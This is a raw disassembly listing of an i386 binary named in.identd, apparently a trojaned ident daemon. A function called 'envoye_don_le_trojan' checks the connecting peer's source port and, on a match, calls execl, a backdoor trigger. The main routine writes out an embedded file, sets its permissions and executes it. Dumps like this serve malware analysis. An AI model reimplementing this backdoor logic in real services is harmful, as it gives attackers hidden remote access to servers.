
in.identd:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
080527b0 R_386_GLOB_DAT    __gmon_start__
0805277c R_386_JUMP_SLOT   execl
08052780 R_386_JUMP_SLOT   __register_frame_info
08052784 R_386_JUMP_SLOT   perror
08052788 R_386_JUMP_SLOT   fprintf
0805278c R_386_JUMP_SLOT   execve
08052790 R_386_JUMP_SLOT   chmod
08052794 R_386_JUMP_SLOT   __deregister_frame_info
08052798 R_386_JUMP_SLOT   __xstat
0805279c R_386_JUMP_SLOT   getpeername
080527a0 R_386_JUMP_SLOT   __libc_start_main
080527a4 R_386_JUMP_SLOT   fclose
080527a8 R_386_JUMP_SLOT   exit
080527ac R_386_JUMP_SLOT   fopen


Disassembly of section .init:

08048404 <_init>:
 8048404:	55                   	push   %ebp
 8048405:	89 e5                	mov    %esp,%ebp
 8048407:	53                   	push   %ebx
 8048408:	e8 00 00 00 00       	call   804840d <_init+0x9>
 804840d:	5b                   	pop    %ebx
 804840e:	81 c3 63 a3 00 00    	add    $0xa363,%ebx
 8048414:	83 bb 40 00 00 00 00 	cmpl   $0x0,0x40(%ebx)
 804841b:	74 05                	je     8048422 <_init+0x1e>
 804841d:	e8 de 7b fb f7       	call   0 <_init-0x8048404>
 8048422:	89 f6                	mov    %esi,%esi
 8048424:	e8 77 01 00 00       	call   80485a0 <frame_dummy>
 8048429:	e8 c2 02 00 00       	call   80486f0 <__do_global_ctors_aux>
 804842e:	8b 5d fc             	mov    0xfffffffc(%ebp),%ebx
 8048431:	c9                   	leave  
 8048432:	c3                   	ret    
Disassembly of section .plt:

08048434 <.plt>:
 8048434:	ff 35 74 27 05 08    	pushl  0x8052774
 804843a:	ff 25 78 27 05 08    	jmp    *0x8052778
 8048440:	00 00                	add    %al,(%eax)
 8048442:	00 00                	add    %al,(%eax)
 8048444:	ff 25 7c 27 05 08    	jmp    *0x805277c
 804844a:	68 00 00 00 00       	push   $0x0
 804844f:	e9 e0 ff ff ff       	jmp    8048434 <_init+0x30>
 8048454:	ff 25 80 27 05 08    	jmp    *0x8052780
 804845a:	68 08 00 00 00       	push   $0x8
 804845f:	e9 d0 ff ff ff       	jmp    8048434 <_init+0x30>
 8048464:	ff 25 84 27 05 08    	jmp    *0x8052784
 804846a:	68 10 00 00 00       	push   $0x10
 804846f:	e9 c0 ff ff ff       	jmp    8048434 <_init+0x30>
 8048474:	ff 25 88 27 05 08    	jmp    *0x8052788
 804847a:	68 18 00 00 00       	push   $0x18
 804847f:	e9 b0 ff ff ff       	jmp    8048434 <_init+0x30>
 8048484:	ff 25 8c 27 05 08    	jmp    *0x805278c
 804848a:	68 20 00 00 00       	push   $0x20
 804848f:	e9 a0 ff ff ff       	jmp    8048434 <_init+0x30>
 8048494:	ff 25 90 27 05 08    	jmp    *0x8052790
 804849a:	68 28 00 00 00       	push   $0x28
 804849f:	e9 90 ff ff ff       	jmp    8048434 <_init+0x30>
 80484a4:	ff 25 94 27 05 08    	jmp    *0x8052794
 80484aa:	68 30 00 00 00       	push   $0x30
 80484af:	e9 80 ff ff ff       	jmp    8048434 <_init+0x30>
 80484b4:	ff 25 98 27 05 08    	jmp    *0x8052798
 80484ba:	68 38 00 00 00       	push   $0x38
 80484bf:	e9 70 ff ff ff       	jmp    8048434 <_init+0x30>
 80484c4:	ff 25 9c 27 05 08    	jmp    *0x805279c
 80484ca:	68 40 00 00 00       	push   $0x40
 80484cf:	e9 60 ff ff ff       	jmp    8048434 <_init+0x30>
 80484d4:	ff 25 a0 27 05 08    	jmp    *0x80527a0
 80484da:	68 48 00 00 00       	push   $0x48
 80484df:	e9 50 ff ff ff       	jmp    8048434 <_init+0x30>
 80484e4:	ff 25 a4 27 05 08    	jmp    *0x80527a4
 80484ea:	68 50 00 00 00       	push   $0x50
 80484ef:	e9 40 ff ff ff       	jmp    8048434 <_init+0x30>
 80484f4:	ff 25 a8 27 05 08    	jmp    *0x80527a8
 80484fa:	68 58 00 00 00       	push   $0x58
 80484ff:	e9 30 ff ff ff       	jmp    8048434 <_init+0x30>
 8048504:	ff 25 ac 27 05 08    	jmp    *0x80527ac
 804850a:	68 60 00 00 00       	push   $0x60
 804850f:	e9 20 ff ff ff       	jmp    8048434 <_init+0x30>
Disassembly of section .text:

08048520 <_start>:
 8048520:	31 ed                	xor    %ebp,%ebp
 8048522:	5e                   	pop    %esi
 8048523:	89 e1                	mov    %esp,%ecx
 8048525:	83 e4 f8             	and    $0xfffffff8,%esp
 8048528:	50                   	push   %eax
 8048529:	54                   	push   %esp
 804852a:	52                   	push   %edx
 804852b:	68 1c 87 04 08       	push   $0x804871c
 8048530:	68 04 84 04 08       	push   $0x8048404
 8048535:	51                   	push   %ecx
 8048536:	56                   	push   %esi
 8048537:	68 24 86 04 08       	push   $0x8048624
 804853c:	e8 93 ff ff ff       	call   80484d4 <_init+0xd0>
 8048541:	f4                   	hlt    
 8048542:	90                   	nop    
 8048543:	90                   	nop    

08048544 <gcc2_compiled.>:
 8048544:	90 90 90 90 90 90 90 90 90 90 90 90                 ............

08048550 <__do_global_dtors_aux>:
 8048550:	55                   	push   %ebp
 8048551:	89 e5                	mov    %esp,%ebp
 8048553:	83 3d 8c 97 04 08 00 	cmpl   $0x0,0x804978c
 804855a:	75 38                	jne    8048594 <__do_global_dtors_aux+0x44>
 804855c:	eb 0f                	jmp    804856d <__do_global_dtors_aux+0x1d>
 804855e:	89 f6                	mov    %esi,%esi
 8048560:	8d 50 04             	lea    0x4(%eax),%edx
 8048563:	89 15 88 97 04 08    	mov    %edx,0x8049788
 8048569:	8b 00                	mov    (%eax),%eax
 804856b:	ff d0                	call   *%eax
 804856d:	a1 88 97 04 08       	mov    0x8049788,%eax
 8048572:	83 38 00             	cmpl   $0x0,(%eax)
 8048575:	75 e9                	jne    8048560 <__do_global_dtors_aux+0x10>
 8048577:	b8 a4 84 04 08       	mov    $0x80484a4,%eax
 804857c:	85 c0                	test   %eax,%eax
 804857e:	74 0a                	je     804858a <__do_global_dtors_aux+0x3a>
 8048580:	68 5c 27 05 08       	push   $0x805275c
 8048585:	e8 1a ff ff ff       	call   80484a4 <_init+0xa0>
 804858a:	c7 05 8c 97 04 08 01 	movl   $0x1,0x804978c
 8048591:	00 00 00 
 8048594:	c9                   	leave  
 8048595:	c3                   	ret    
 8048596:	89 f6                	mov    %esi,%esi

08048598 <fini_dummy>:
 8048598:	55                   	push   %ebp
 8048599:	89 e5                	mov    %esp,%ebp
 804859b:	c9                   	leave  
 804859c:	c3                   	ret    
 804859d:	8d 76 00             	lea    0x0(%esi),%esi

080485a0 <frame_dummy>:
 80485a0:	55                   	push   %ebp
 80485a1:	89 e5                	mov    %esp,%ebp
 80485a3:	b8 54 84 04 08       	mov    $0x8048454,%eax
 80485a8:	85 c0                	test   %eax,%eax
 80485aa:	74 0f                	je     80485bb <frame_dummy+0x1b>
 80485ac:	68 54 28 05 08       	push   $0x8052854
 80485b1:	68 5c 27 05 08       	push   $0x805275c
 80485b6:	e8 99 fe ff ff       	call   8048454 <_init+0x50>
 80485bb:	c9                   	leave  
 80485bc:	c3                   	ret    
 80485bd:	8d 76 00             	lea    0x0(%esi),%esi

080485c0 <init_dummy>:
 80485c0:	55                   	push   %ebp
 80485c1:	89 e5                	mov    %esp,%ebp
 80485c3:	c9                   	leave  
 80485c4:	c3                   	ret    
 80485c5:	90                   	nop    
 80485c6:	90                   	nop    
 80485c7:	90                   	nop    
 80485c8:	90                   	nop    
 80485c9:	90                   	nop    
 80485ca:	90                   	nop    
 80485cb:	90                   	nop    
 80485cc:	90                   	nop    
 80485cd:	90                   	nop    
 80485ce:	90                   	nop    
 80485cf:	90                   	nop    

080485d0 <envoye_don_le_trojan>:
 80485d0:	55                   	push   %ebp
 80485d1:	89 e5                	mov    %esp,%ebp
 80485d3:	83 ec 14             	sub    $0x14,%esp
 80485d6:	c7 45 ec 10 00 00 00 	movl   $0x10,0xffffffec(%ebp)
 80485dd:	8d 45 ec             	lea    0xffffffec(%ebp),%eax
 80485e0:	50                   	push   %eax
 80485e1:	8d 45 f0             	lea    0xfffffff0(%ebp),%eax
 80485e4:	50                   	push   %eax
 80485e5:	6a 00                	push   $0x0
 80485e7:	e8 d8 fe ff ff       	call   80484c4 <_init+0xc0>
 80485ec:	83 c4 0c             	add    $0xc,%esp
 80485ef:	85 c0                	test   %eax,%eax
 80485f1:	75 2f                	jne    8048622 <envoye_don_le_trojan+0x52>
 80485f3:	66 83 7d f0 02       	cmpw   $0x2,0xfffffff0(%ebp)
 80485f8:	75 28                	jne    8048622 <envoye_don_le_trojan+0x52>
 80485fa:	66 8b 45 f2          	mov    0xfffffff2(%ebp),%ax
 80485fe:	66 c1 c8 08          	ror    $0x8,%ax
 8048602:	66 05 a9 3f          	add    $0x3fa9,%ax
 8048606:	66 83 f8 01          	cmp    $0x1,%ax
 804860a:	77 16                	ja     8048622 <envoye_don_le_trojan+0x52>
 804860c:	6a 00                	push   $0x0
 804860e:	68 40 87 04 08       	push   $0x8048740
 8048613:	68 43 87 04 08       	push   $0x8048743
 8048618:	68 46 87 04 08       	push   $0x8048746
 804861d:	e8 22 fe ff ff       	call   8048444 <_init+0x40>
 8048622:	c9                   	leave  
 8048623:	c3                   	ret    

08048624 <main>:
 8048624:	55                   	push   %ebp
 8048625:	89 e5                	mov    %esp,%ebp
 8048627:	83 ec 58             	sub    $0x58,%esp
 804862a:	57                   	push   %edi
 804862b:	56                   	push   %esi
 804862c:	53                   	push   %ebx
 804862d:	8b 7d 10             	mov    0x10(%ebp),%edi
 8048630:	57                   	push   %edi
 8048631:	8b 55 0c             	mov    0xc(%ebp),%edx
 8048634:	52                   	push   %edx
 8048635:	e8 96 ff ff ff       	call   80485d0 <envoye_don_le_trojan>
 804863a:	8d 45 a8             	lea    0xffffffa8(%ebp),%eax
 804863d:	83 c4 08             	add    $0x8,%esp
 8048640:	50                   	push   %eax
 8048641:	68 4e 87 04 08       	push   $0x804874e
 8048646:	6a 03                	push   $0x3
 8048648:	e8 67 fe ff ff       	call   80484b4 <_init+0xb0>
 804864d:	89 c3                	mov    %eax,%ebx
 804864f:	83 c4 0c             	add    $0xc,%esp
 8048652:	83 fb ff             	cmp    $0xffffffff,%ebx
 8048655:	75 62                	jne    80486b9 <main+0x95>
 8048657:	68 5f 87 04 08       	push   $0x804875f
 804865c:	68 4e 87 04 08       	push   $0x804874e
 8048661:	e8 9e fe ff ff       	call   8048504 <_init+0x100>
 8048666:	89 c6                	mov    %eax,%esi
 8048668:	83 c4 08             	add    $0x8,%esp
 804866b:	85 f6                	test   %esi,%esi
 804866d:	75 11                	jne    8048680 <main+0x5c>
 804866f:	68 61 87 04 08       	push   $0x8048761
 8048674:	e8 eb fd ff ff       	call   8048464 <_init+0x60>
 8048679:	53                   	push   %ebx
 804867a:	e8 75 fe ff ff       	call   80484f4 <_init+0xf0>
 804867f:	90                   	nop    
 8048680:	31 db                	xor    %ebx,%ebx
 8048682:	0f b6 83 b2 97 04 08 	movzbl 0x80497b2(%ebx),%eax
 8048689:	50                   	push   %eax
 804868a:	68 70 87 04 08       	push   $0x8048770
 804868f:	56                   	push   %esi
 8048690:	e8 df fd ff ff       	call   8048474 <_init+0x70>
 8048695:	83 c4 0c             	add    $0xc,%esp
 8048698:	43                   	inc    %ebx
 8048699:	81 fb 9c 8f 00 00    	cmp    $0x8f9c,%ebx
 804869f:	7e e1                	jle    8048682 <main+0x5e>
 80486a1:	56                   	push   %esi
 80486a2:	e8 3d fe ff ff       	call   80484e4 <_init+0xe0>
 80486a7:	68 c0 01 00 00       	push   $0x1c0
 80486ac:	68 4e 87 04 08       	push   $0x804874e
 80486b1:	e8 de fd ff ff       	call   8048494 <_init+0x90>
 80486b6:	83 c4 0c             	add    $0xc,%esp
 80486b9:	57                   	push   %edi
 80486ba:	8b 55 0c             	mov    0xc(%ebp),%edx
 80486bd:	52                   	push   %edx
 80486be:	68 4e 87 04 08       	push   $0x804874e
 80486c3:	e8 bc fd ff ff       	call   8048484 <_init+0x80>
 80486c8:	83 c4 0c             	add    $0xc,%esp
 80486cb:	83 f8 ff             	cmp    $0xffffffff,%eax
 80486ce:	75 0a                	jne    80486da <main+0xb6>
 80486d0:	68 73 87 04 08       	push   $0x8048773
 80486d5:	e8 8a fd ff ff       	call   8048464 <_init+0x60>
 80486da:	8d 65 9c             	lea    0xffffff9c(%ebp),%esp
 80486dd:	5b                   	pop    %ebx
 80486de:	5e                   	pop    %esi
 80486df:	5f                   	pop    %edi
 80486e0:	c9                   	leave  
 80486e1:	c3                   	ret    
 80486e2:	90                   	nop    
 80486e3:	90                   	nop    
 80486e4:	90                   	nop    
 80486e5:	90                   	nop    
 80486e6:	90                   	nop    
 80486e7:	90                   	nop    
 80486e8:	90                   	nop    
 80486e9:	90                   	nop    
 80486ea:	90                   	nop    
 80486eb:	90                   	nop    
 80486ec:	90                   	nop    
 80486ed:	90                   	nop    
 80486ee:	90                   	nop    
 80486ef:	90                   	nop    

080486f0 <__do_global_ctors_aux>:
 80486f0:	55                   	push   %ebp
 80486f1:	89 e5                	mov    %esp,%ebp
 80486f3:	53                   	push   %ebx
 80486f4:	bb 60 27 05 08       	mov    $0x8052760,%ebx
 80486f9:	83 3d 60 27 05 08 ff 	cmpl   $0xffffffff,0x8052760
 8048700:	74 0c                	je     804870e <__do_global_ctors_aux+0x1e>
 8048702:	8b 03                	mov    (%ebx),%eax
 8048704:	ff d0                	call   *%eax
 8048706:	83 c3 fc             	add    $0xfffffffc,%ebx
 8048709:	83 3b ff             	cmpl   $0xffffffff,(%ebx)
 804870c:	75 f4                	jne    8048702 <__do_global_ctors_aux+0x12>
 804870e:	8b 5d fc             	mov    0xfffffffc(%ebp),%ebx
 8048711:	c9                   	leave  
 8048712:	c3                   	ret    
 8048713:	90                   	nop    

08048714 <init_dummy>:
 8048714:	55                   	push   %ebp
 8048715:	89 e5                	mov    %esp,%ebp
 8048717:	c9                   	leave  
 8048718:	c3                   	ret    
 8048719:	90                   	nop    
 804871a:	90                   	nop    
 804871b:	90                   	nop    
Disassembly of section .fini:

0804871c <_fini>:
 804871c:	55                   	push   %ebp
 804871d:	89 e5                	mov    %esp,%ebp
 804871f:	53                   	push   %ebx
 8048720:	e8 00 00 00 00       	call   8048725 <_etext+0x9>
 8048725:	5b                   	pop    %ebx
 8048726:	81 c3 4b a0 00 00    	add    $0xa04b,%ebx
 804872c:	e8 1f fe ff ff       	call   8048550 <__do_global_dtors_aux>
 8048731:	8b 5d fc             	mov    0xfffffffc(%ebp),%ebx
 8048734:	c9                   	leave  
 8048735:	c3                   	ret    
